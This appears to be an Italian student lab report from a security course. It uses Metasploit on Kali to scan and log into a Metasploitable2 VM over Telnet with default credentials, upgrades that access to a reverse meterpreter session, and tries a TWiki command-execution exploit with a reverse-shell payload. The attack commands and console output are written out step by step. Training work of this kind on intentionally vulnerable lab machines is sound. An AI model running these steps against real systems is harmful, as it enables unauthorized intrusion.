

# Exploit

## Telnet & Twiki

### Sommario

Traccia esercizio .....	2
Traccia Facoltativo .....	2
Svolgimento esercizio principale .....	3
Impostazione in IP statico di Metasploitable2 e collegamento con Kali Linux .....	3
Telnet .....	4
Svolgimento esercizio facoltativo .....	6
Twiki.....	6

## Traccia esercizio

Sulla base di quanto visto, utilizzare Kali per sfruttare la vulnerabilità relativa a Telnet con il modulo auxiliary telnet\_version sulla macchina Metasploitable.

**Requisito:** Seguire gli step già visti. Prima, configurate l'IP della vostra Kali con 192.168.1.25 e l'IP della vostra Metasploitable con 192.168.1.40

## Traccia Facoltativo

Sulla base di quanto già visto, utilizzare Kali per sfruttare la vulnerabilità relativa a TWiki con la tecnica che meglio preferite, sulla macchina Metasploitable.

## Svolgimento esercizio principale

### Impostazione in IP statico di Metasploitable2 e collegamento con Kali Linux

Si rimanda al report M1\W1\D5 “Configurazione Macchine Virtuali.pdf” e M3\W12\D5 “Analisi delle vulnerabilità e azioni di rimedio M3” capitolo “Configurazione della rete del Laboratorio Virtuale” per l’impostazione del laboratorio con:

- Kali: 192.168.1.25
- Metasploitable: 192.168.1.40

```
(kali@kali)-[~]
$ ip a
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000
    link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
    inet 127.0.0.1/8 scope host lo
        valid_lft forever preferred_lft forever
    inet6 ::1/128 scope host noprefixroute
        valid_lft forever preferred_lft forever
2: eth0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc fq_codel state UP group default qlen 1000
    link/ether 08:00:27:d3:d9:ba brd ff:ff:ff:ff:ff:ff
    inet 192.168.1.25/24 brd 192.168.1.255 scope global noprefixroute eth0
        valid_lft forever preferred_lft forever
    inet6 fe80::7cb9:628a:e789:c0c2/64 scope link noprefixroute
        valid_lft forever preferred_lft forever
3: eth1: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc fq_codel state UP group default qlen 1000
    link/ether 08:00:27:d3:d9:ba brd ff:ff:ff:ff:ff:ff

Last login: Tue Oct 22 13:23:37 EDT 2024 on tty1
Linux metasploitable 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC 2008 i686

The programs included with the Ubuntu system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by
applicable law.

To access official Ubuntu documentation, please visit:
http://help.ubuntu.com/
No mail.
msfadmin@metasploitable:~$ ip a
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 16436 qdisc noqueue
    link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
    inet 127.0.0.1/8 scope host lo
        valid_lft forever preferred_lft forever
    inet6 ::1/128 scope host
        valid_lft forever preferred_lft forever
2: eth0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc pfifo_fast qlen 1000
    link/ether 08:00:27:db:20:ae brd ff:ff:ff:ff:ff:ff
    inet 192.168.1.40/24 brd 192.168.1.255 scope global eth0
        valid_lft forever preferred_lft forever
    inet6 fe80::a00:27ff:fedb:7fae/64 scope link
        valid_lft forever preferred_lft forever
msfadmin@metasploitable:~$

(kali@kali)-[~]
$ ping 192.168.1.40
PING 192.168.1.40 (192.168.1.40) 56(84) bytes of data.
 64 bytes from 192.168.1.40: icmp_seq=1 ttl=64 time=0.555 ms
 64 bytes from 192.168.1.40: icmp_seq=2 ttl=64 time=9.45 ms
 64 bytes from 192.168.1.40: icmp_seq=3 ttl=64 time=3.37 ms
 64 bytes from 192.168.1.40: icmp_seq=4 ttl=64 time=0.942 ms
 64 bytes from 192.168.1.40: icmp_seq=5 ttl=64 time=8.78 ms
 64 bytes from 192.168.1.40: icmp_seq=6 ttl=64 time=0.704 ms
 64 bytes from 192.168.1.40: icmp_seq=7 ttl=64 time=7.73 ms
 64 bytes from 192.168.1.40: icmp_seq=8 ttl=64 time=6.14 ms
 64 bytes from 192.168.1.40: icmp_seq=9 ttl=64 time=7.43 ms
 64 bytes from 192.168.1.40: icmp_seq=10 ttl=64 time=8.33 ms
 64 bytes from 192.168.1.40: icmp_seq=11 ttl=64 time=11.5 ms
 64 bytes from 192.168.1.40: icmp_seq=12 ttl=64 time=0.576 ms
 64 bytes from 192.168.1.40: icmp_seq=13 ttl=64 time=2.59 ms
 64 bytes from 192.168.1.40: icmp_seq=14 ttl=64 time=9.13 ms
 64 bytes from 192.168.1.40: icmp_seq=15 ttl=64 time=9.57 ms
 64 bytes from 192.168.1.40: icmp_seq=16 ttl=64 time=0.830 ms
```

Tramite il comando **ping** è stato dimostrato anche il corretto collegamento tra le macchine.

Avviare Metasploit con il comando **msfconsole**

Seguire i seguenti passaggi.

- ```

kali@kali: ~
File Actions Edit View Help

67 auxiliary/scanner/telnet/telnet_ruggedcom . normal No
RuggedCom telnet Password Generator
68 auxiliary/scanner/telnet/satel_cmd_exec . normal No
Satel Iberia SenNet Data Logger and Electricity Meters Command Injection Vulnerability
69 exploit/solaris/telnet/tytprompt 2002-01-18 excellent No
Solaris in.telnetd TTY PROMPT Buffer Overflow
70 exploit/solaris/telnet/fuser 2007-02-12 excellent No
Sun Solaris telnet Remote Authentication Bypass Vulnerability
71 exploit/linux/http/tp_link_sc2020n_authenticated_telnet_injection 2015-12-20 excellent No
TP-Link SC2020n Authenticated telnet Injection
72 auxiliary/scanner/telnet/telnet_login . normal No
telnet Login Check Scanner
73 auxiliary/scanner/telnet/telnet_version . normal No
telnet Service Banner Detection
74 auxiliary/scanner/telnet/telnet_encrypt_overflow . normal No
telnet Service Encryption Key ID Overflow Detection
75 payload/cmd/unix/bind_busybox_telnetd . normal No
Unix Command Shell, Bind TCP (via BusyBox telnetd)
76 payload/cmd/unix/reverse . normal No
Unix Command Shell, Double Reverse TCP (telnet)
77 payload/cmd/unix/reverse_ssl_double_telnet . normal No
Unix Command Shell, Double Reverse TCP SSL (telnet)
78 payload/cmd/unix/reverse_bash_telnet_ssl . normal No
Unix Command Shell, Reverse TCP SSL (telnet)
79 exploit/linux/ssh/vyos_restricted_shell_privesc 2018-11-05 great Yes
VyOS restricted-shell Escape and Privilege Escalation
80 post/windows/gather/credentials/mremote . normal No
Windows Gather mRemote Saved Password Extraction

Interact with a module by name or index. For example info 80, use 80 or use post/windows/gather/credentials/mr
emote

msf6 > use 73

```

- ```
kali@kali: ~  
File Actions Edit View Help  
  
Interact with a module by name or index. For example info 80, use 80 or use post/windows/gather/credentials/mr  
emote  
  
msf6 > use 73  
msf6 auxiliary(scanner/telnet/telnet_version) options visualizza le opzioni  
  
Module options (auxiliary/scanner/telnet/telnet_version):
```

Name	Current Setting	Required	Description
PASSWORD		no	The password for the specified username
RHOSTS		yes	The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
RPORT	23	yes	The target port (TCP)
THREADS	1	yes	The number of concurrent threads (max one per host)
TIMEOUT	30	yes	Timeout for the Telnet probe
USERNAME		no	The username to authenticate as

```
  
View the full module info with the info, or msf6 -d command.  
  
msf6 auxiliary(scanner/telnet/telnet_version) > set RHOSTS 192.168.1.40 impostare i parametri  
RHOSTS => 192.168.1.40  
msf6 auxiliary(scanner/telnet/telnet_version) > exploit lanciare l'exploit, anche con comando run  
  
[*] 192.168.1.40:23 - 192.168.1.40:23 TELNET -  
[+] [*]  
network!\x0a\x0aContact: msfdev[at]metasploit.com\x0a\x0aLogin with msfadmin/msfadmin to get started\x0a\x0a\nx0ametasploitable login:  
[*] 192.168.1.40:23 - Scanned 1 of 1 hosts (100% complete)  
[*] Auxiliary module execution completed  
msf6 auxiliary(scanner/telnet/telnet_version) >
```

4. Confermato che l'exploit è stato eseguito con successo, si tenta di accedere con le credenziali di default **msfadmin:msfadmin**

```
Solaris in.telnetd TTY PROMPT Buffer Overflow
70 exploit/solaris/telnet/fuser 2007-02-12
Sun Solaris Telnet Remote Authentication Bypass Vulnerability
71 exploit/linux/http/tp_link_sc2020n_authenticated_telnet_injection 2015-12-20
72 auxiliary/scanner/telnet/telnet_login
Telnet Login Check Scanner
73 auxiliary/scanner/telnet/telnet_version
Telnet Service Banner Detection
74 auxiliary/scanner/telnet/telnet_encrypt_overflow
Telnet Service Encryption Key ID Overflow Detection
75 payload/cmd/unix/bind_busybox_telnetd
Unix Command Shell, Bind TCP (via BusyBox telnetd)
76 payload/cmd/unix/reverse
```

Tornare indietro con comando **back**, si cerca nuovamente telnet e si tenta pertanto l'accesso con l'exploit **72 use 72**

5. Impostare i parametri come da immagine e avviare l'exploit con **run**

```
View the full module info with the info, or info -d command.

msf6 auxiliary(scanner/telnet/telnet_login) > set PASSWORD msfadmin
PASSWORD => msfadmin
msf6 auxiliary(scanner/telnet/telnet_login) > set USERNAME msfadmin
USERNAME => msfadmin
msf6 auxiliary(scanner/telnet/telnet_login) > set RHOSTS 192.168.1.40
RHOSTS => 192.168.1.40
msf6 auxiliary(scanner/telnet/telnet_login) >
```

6. Vulnerabilità sfruttata con successo, come da immagine ci si trova dentro la macchina Metasploitable2 con il comando **ls** si visualizzano i file.

```
msf6 auxiliary(scanner/telnet/telnet_login) > ls
[*] exec: ls

again.    Downloads  gameshell-save.sh  Music      Public    Videos
Desktop   gameshell  gameshell.sh       nmap_results.xml slowloris vulners_scan.xml
Documents gameshell.1 hydra.restore      Pictures   Templates vuln_scan.xml

msf6 auxiliary(scanner/telnet/telnet_login) >
```

7. Avviare una nuova sessione con il comando **sessions -u 1** per lanciarlo da meterpreter e selezionare la relativa sessione **sessions 2** e come si può vedere, si è dentro la macchina Metasploitable2 tramite questa vulnerabilità

```
[*] Meterpreter session 2 opened (192.168.1.25:4433 -> 192.168.1.40:43928) at 2024-10-22 20:22:22 +0200
sessions
[*] Command stager progress: 100.00% (773/773 bytes)
msf6 auxiliary(scanner/telnet/telnet_login) > sessions

Active sessions
=====
Id  Name      Type      Information                                     Connection
--  -
1   shell    TELNET    msfadmin:msfadmin (192.168.1.40:23)          192.168.1.25:42585 -> 192.168.1.40:23
2   meterpreter x86/linux msfadmin @ metasploitable.localdomain in 192.168.1.25:4433 -> 192.168.1.40:43928 (192.168.1.40)

msf6 auxiliary(scanner/telnet/telnet_login) > sessions 2
[*] Starting interaction with 2 ...

meterpreter > ls
Listing: /home/msfadmin

Mode                Size  Type      Last modified          Name
-----
020666/rw-rw-rw-    0  cha      2010-03-17 00:01:07 +0100 .bash_history
040755/rwxr-xr-x    4096  dir      2010-04-17 20:11:00 +0200 .distcc
040700/rwx         4096  dir      2024-09-12 12:25:01 +0200 .gconf
040700/rwx         4096  dir      2024-09-12 12:25:31 +0200 .gconfd
100600/rw         4174  fil      2012-05-14 08:01:49 +0200 .mysql_history
100644/rw-r--r--    586  fil      2010-03-17 00:12:59 +0100 .profile
100700/rwx          4  fil      2012-05-20 20:22:32 +0200 .rhosts
040700/rwx         4096  dir      2010-05-18 03:43:18 +0200 .ssh
100644/rw-r--r--    0  fil      2010-05-07 20:38:35 +0200 .sudo_as_admin_successful
100600/rw          13  fil      2024-09-07 09:11:37 +0200 giggino.txt.save
040755/rwxr-xr-x    4096  dir      2010-04-28 05:44:17 +0200 vulnerable
```

## Svolgimento esercizio facoltativo

### Twiki

Analogamente quanto effettuato con Telnet, fare la ricerca e usare il seguente modulo.

```
msf6 > search twiki

Matching Modules

#  Name                                     Disclosure Date  Rank    Check  Description
-  -                                     -              -      -      -
0  exploit/unix/webapp/moinmoin_twikidraw  2012-12-30      manual  Yes    MoinMoin twikidraw Action Tra
versal File Upload
1  exploit/unix/http/twiki_debug_plugins  2014-10-09      excellent  Yes    TWiki Debugenableplugins Remo
te Code Execution
2  exploit/unix/webapp/twiki_history       2005-09-14      excellent  Yes    TWiki History TWikiUsers rev
Parameter Command Execution
3  exploit/unix/webapp/twiki_maketext     2012-12-15      excellent  Yes    TWiki MAKETEXT Remote Command
Execution
4  exploit/unix/webapp/twiki_search       2004-10-01      excellent  Yes    TWiki Search Function Arbitra
ry Command Execution

Interact with a module by name or index. For example info 4, use 4 or use exploit/unix/webapp/twiki_search

msf6 > use 2
[*] No payload configured, defaulting to cmd/unix/python/meterpreter/reverse_tcp
msf6 exploit(unix/webapp/twiki_history) > use 2
```

1. search twiki
2. use 2
3. show payloads
4. set payload 40

```
39  payload/cmd/unix/python/shell_reverse_udp . normal No Python Exec, Comm
and Shell, Reverse UDP (via python)
40  payload/cmd/unix/reverse . normal No Unix Command Shel
l, Double Reverse TCP (telnet)
41  payload/cmd/unix/reverse_awk . normal No Unix Command Shel
l, Reverse TCP (via AWK)
42  payload/cmd/unix/reverse_bash . normal No Unix Command Shel
l, Reverse TCP (/dev/tcp)
43  payload/cmd/unix/reverse_bash_telnet . normal No Unix Command Shel
```

5. options
6. set RHOSTS 192.168.1.40
7. run

**Attenzione dopo vari tentativi e consultazioni e ricerche anche con l'insegnante, seguendo queste istruzioni solo ad alcuni viene avviata con successo, alla maggior parte dei tentativi invece non si riesce a creare una sessione.**

```
[*] Started reverse TCP handler on 192.168.1.25:4444
[+] Successfully sent exploit request
[*] Exploit completed, but no session was created.
msf6 exploit(unix/webapp/twiki_history) > 
```